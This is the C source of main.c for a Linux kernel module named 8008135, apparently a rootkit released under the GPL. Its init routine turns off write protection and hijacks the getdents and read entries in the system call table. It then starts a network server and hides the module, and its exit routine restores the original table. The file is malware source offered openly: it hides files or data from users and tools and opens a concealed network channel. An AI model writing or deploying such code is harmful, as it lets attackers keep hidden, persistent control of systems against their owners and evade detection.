76 lines
2.5 KiB
C
76 lines
2.5 KiB
C
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*******************************************************************************/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "8008135.h"
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/*******************************************************************************/
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/*** FUNCTION ****************************************************************
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* NAME: 8008135_init
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* DESCRIPTION: initializing Kernel Module - hijacking syscalltable
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* PARAMETERS: -
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* RETURNS: int
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*******************************************************************************/
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static int __init init_8008135(void) {
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sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
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sys_read_orig = (sys_read_ptr)((void**)sys_call_table)[__NR_read];
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wprotectionoff();
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sys_call_table[__NR_getdents] = sys_getdents_new;
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sys_call_table[__NR_read] = sys_read_fake;
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wprotectionon();
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network_server_init();
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hide_module();
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return 0;
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}
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/*** FUNCTION ****************************************************************
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* NAME: 8008135_exit
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* DESCRIPTION: unloading Kernel Module, restoring the original system call table
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* PARAMETERS: -
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* RETURNS: -
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*******************************************************************************/
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static void __exit exit_8008135(void) {
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network_server_exit();
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wprotectionoff();
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sys_call_table[__NR_getdents] = sys_getdents_orig;
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sys_call_table[__NR_read] = sys_read_orig;
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wprotectionon();
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}
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/*******************************************************************************/
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module_init(init_8008135);
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module_exit(exit_8008135);
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/*******************************************************************************/
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